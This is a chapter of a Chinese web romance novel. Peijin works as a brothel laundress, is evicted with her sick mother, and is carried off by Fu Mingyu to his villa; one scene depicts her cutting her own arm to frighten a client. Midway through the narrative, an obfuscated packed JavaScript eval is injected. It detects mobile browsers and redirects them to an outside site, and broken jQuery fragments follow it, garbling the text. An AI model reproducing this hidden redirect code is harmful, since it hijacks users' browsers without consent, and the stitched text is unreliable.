6. 第6章

作品:《黑月光难逃

    回到家,芸娘果然巴巴地等待她已久了。


    可她并没有直接回应她炽热的目光,只是一边把伙房边上该轮到她家砍的柴砍了,看着柴木一分为二落下,回道:“阿娘,放心吧,再给我一些时间,我一定让你见上他的。”


    芸娘见她回来的时候沉默着气场不太对的样子,立马就不多说话了,只静静“嗯”了一声,就捂着巾帕咳着离开,也没说要帮她捡一捡地上破好的木柴。


    佩金放下木柴,看了看那双捡过木柴灰扑扑的手,似乎刚刚酱饼的味道还在,熨在手上的热度也还没褪散,她弯了弯唇。


    ·


    那日在伯府的赏花宴上,被傅鸣玉当着所有宴客的面将她拘禁离开,消息传回赵财主那里,赵姑娘那边的工作是再也不用去的。


    赵员外是不可能让她这样的嫌疑犯踏近赵家一步的。


    至于找别的谋生,由于那天参加伯府赏花宴的,是齐集了邢北府所有有头面的人,连富商家的都来了,那些人掌握着这邢北府近九成的产业,他们知晓了她是嫌犯,底下所有能请人做工的地方基本都拒绝她,她压根很难再找到一份好的谋差。


    找了几日之后,无可奈何的,她终于在一家青楼的后门找到一份浆洗的工作。


    同先前轻轻松松同赵姑娘梳头就能拿高月钱没法比,但也勉强有一份够糊口的活了。


    只是要浆洗大量的衣物,时常从天没亮就坐在那儿洗,一直洗到手脱皮,洗到屁股都坐疼了,一直浆洗到夜里看见星子,才能回去,也就不到从前一成的收入。


    而且也少了许多兼并其他工作的时间,家里的活她娘干不了,也只能是一大早先做好她娘几顿的饭和药,夜里回去还得洗碗砍柴干其他活。


    如今单依靠浆洗衣服的活,恐怕一辈子也难以还请那些债务,佩金也不打算挣扎了,只打算赚点钱够活下去,等到熬到侯府爹回邢北府,找机会让她娘看上一眼,从此离开邢北府再也不回来了。


    反正如今她那房东刘老板不在了,先前那些房租租金都他一个人收账,从没有让别人过手的,相信短时间内都没有人再找她们讨要欠下的房租,住的地方可以暂时安稳下来。


    她浆洗衣裳挣的月钱,省点用的话,许是还能存下一些路费。


    所欠的债,由于先前拿鸣玉的钱已经还了一些,短期内那些人也不会再找她们麻烦。


    日子又开始有了些期盼,月色下,她加紧速度浆洗,争取早点儿回去把活干完,然后躺上草铺松软的床睡觉。


    她此时真想好好睡上一觉,睡个昏天暗地,感受手脚酸疼得都快不是自己的了。


    好不容易终于洗完了后院堆积小山似的衣裳,走出去的时候,又遇到喝得醉醺醺的狎客。


    佩金掏出一早备好的小刀,她还需要妓院浆洗的工作,不敢随意伤害客人,只能在他面前捋上自己衣袖,往那条已被深深浅浅划过好几次的手臂上狠划过一刀!


    顿时,殷红的血液映着月色,格外诡谲地呈现在眼前。


    “倌人可是想要一尝奴家身上的血?”佩金故作癫狂之态,笑着朝那狎客走近。


    那狎客被她滴血的样子吓到,一步步往后,直到走出阴影,月光大片地洒落到姑娘的脸上,她脸上那些溃烂的霉疮,直把那狎客吓得胆破道:“你你你...你这是...是花柳??”


    然后,狎客落荒而逃。


    佩金收好刀,掩好伤口笑了。


    好不容易终于走到散发着臭味的红巷,她也终于不需要脸上的伪装,用袖子擦掉脸上的“疮印”,准备回家。


    可就在此时,她发现巷口的老槐树下蹲着个女人。


    熟悉的药味和咳嗽声。


    待她走近了,就着月色,那女人抱着一张席子迎面朝她虚弱地走来。


    “阿金...咳咳咳...你...咳咳咳...你终于回了...”


    佩金接住她,才发现她身上烫得厉害,居然外衣也没穿一件就在夜寒霜冻的夜里站了那么久等她。


    “阿娘你...你为什么不在家里等我?跑出来做什么呢?我给你的衣裳呢...衣裳怎么不穿...”


    芸娘把下午衙门派人来收屋的事告诉她。


    下午衙门派人过来,那些依时交过这个月租金的人家可以继续住下,待下个月找到新地方搬去,而芸娘她们因为查出已经好几月没交租,被官衙收走了一些粮食和衣物作为抵扣,然后被赶出去。


    最后芸娘苦苦哀求,才终于拿回一些药和一张席子,别的就没有了。


    看着她娘站在夜风中瑟瑟发抖的样子,佩金心想,如今连草铺睡觉的地方都没有了。


    “是傅鸣玉...”佩金咬了咬牙。


    “阿娘走!我带你找地方待去!”


    就这样,大半夜里,佩金搀拉着她娘一路走到永宁侯府门口,坐在那里等鸣玉出现。


    从黑夜等到白日,结果等来的人不是傅鸣玉,而是已有许多年没见过的侯夫人,甄氏。


    侯夫人出来看见佩金的那刻,惊了一下,眼里百味杂陈,“小金...”


    佩金开始不自在起来,眼神一直往下,给甄氏行礼道:“侯夫人,民女有事要找世子,请夫人行个好。”


    她的话一出,甄氏明显眼神黯了黯,“小金你...”


    顿了顿,她用帕子按了按眼角,然后转身对身后的人吩咐道:“去请世子。”


    然后,她慢慢朝佩金走近过来。


    佩金眼尾余光看见人朝她过来了,有些慌措地后退了一些。


    “小金,听说你娘病了,我们先不要站这里说话了,跟我进府里,府里有大夫可为你娘医治,好不好?”


    佩金这才微微抬头,发现侯夫人这些年,外貌上基本没什么变化,不像她阿娘,已经瘦得脱了形,能看得见凹陷的眼窝,脸上皱纹也多。


    不过,她鬓边还是能看见一两绺银丝的,眼神也较年轻时更深邃沉稳了。


    “我...”佩金话一出口就哽住了。


    小时候侯府爹时常夜里不归,那会儿的侯府娘恨极了他那个“需要他关照”的表妹,时常和佩金一起变着法子将侯府爹留在府里。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696622|188984||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那会儿的侯府娘更显小女儿心性,而如今她性子稳重了,也更沉着了,遇见芸娘也没什么介怀,只一门心思和注意在佩金身上。


    这让佩金感到十分困扰。


    “好啦,别说这么多了,快进来吧...”甄氏擦掉泪,想来拉她手。


    结果佩金竟一下扔下她娘跑走了。


    跑着跑着,当她发现足下刺痛的时候,才知道自己竟然连鞋都跑掉了,刚才是被路上的尖石刺中了,脚心流了一路的血。


    她蹲下来想把脚心尖石拔出的时候,鸣玉刚从衙门回来,正骑着马往府方向走。


    每次在自己最狼狈的时候,都被他瞧见。


    “让你离开,你非不走,”男子冰冷如霜的声音传进耳,冻得她浑身抖了一抖,


    “活该...”


    佩金噙着一腔泪,狠狠地抬头瞪着马头上的人。


    “我不走。”她忍着脚心的刺痛,缓缓站起身与马头上的他对峙,“我就不走,你有种杀了我啊...”


    “你不怕死...”从他口中缓缓念出这几个字,“那你就不怕你娘死?”


    佩金失声一笑,“世子爷贵为朝中大官,倘若被人知晓你连养母都杀,如此心狠手辣、大逆不道,怕是圣上也不敢再用你了吧?”


    “倒是,牙尖嘴利。”鸣玉冷嗤一声道。


    “过来。”


    他朝她伸手。


    佩金戒备了起来,后退几步,地上立马看见红殷的血迹。


    “怎么,刚刚还说得那样厉害,如今却不敢了?”他讥道。


    可她却并不被他激到,依然站在原地不肯往前。


    鸣玉打马往前,路过她身旁时,突然弯腰伸手一捞,将她强硬捞上马。


    尘灰飞扬,他抱着她在清晨人迹罕至的街道上驰马。


    她被他带到城西一处别宅。


    这处别宅是他刚刚上京任职,替圣上出谋策划立下第一桩功劳时,赐下的黄金购置的。


    之所以把别宅置办在邢北府,而不是京城,是因为京城那边早已有几处永宁侯替他置办好的宅子,后来圣上也赐了他一处院宅,唯独在邢北府没有独属于他自己的院宅,便选在这里置办了。


    这是一座三进的,假山水池亭台楼榭一应俱全的宅子。


    进门一座花鸟兽石影壁,绕过影壁两旁抄手游廊,右边是假山水池,左边游廊绕从一丛紫竹过。


    掩隐在紫竹林中是正面五间阔的正堂,中间高挂“一砚堂”漆金牌匾,廊柱鲜红,房檐斗拱鸱吻,绿瓦红墙,富丽非常。


    鸣玉那一骑大马直接骑到屋前才下马,将她也一并抱了下来。


    佩金右脚脚心上有尖石扎着,鞋子也没有了,难以走路,十分狼狈。


    而鸣玉显然也不打算让她走路,抱她下马后便扛沙袋似的一直扛在肩膀,沿抄手游廊往里走,一边走还一边唤府里的管家:“给我找个铜镊或剪子,烧点水,一壶酒,还有金疮药。”


    被当物件似的扛在身上走的时候,她心里想的是,自己好像一口待宰的牲口。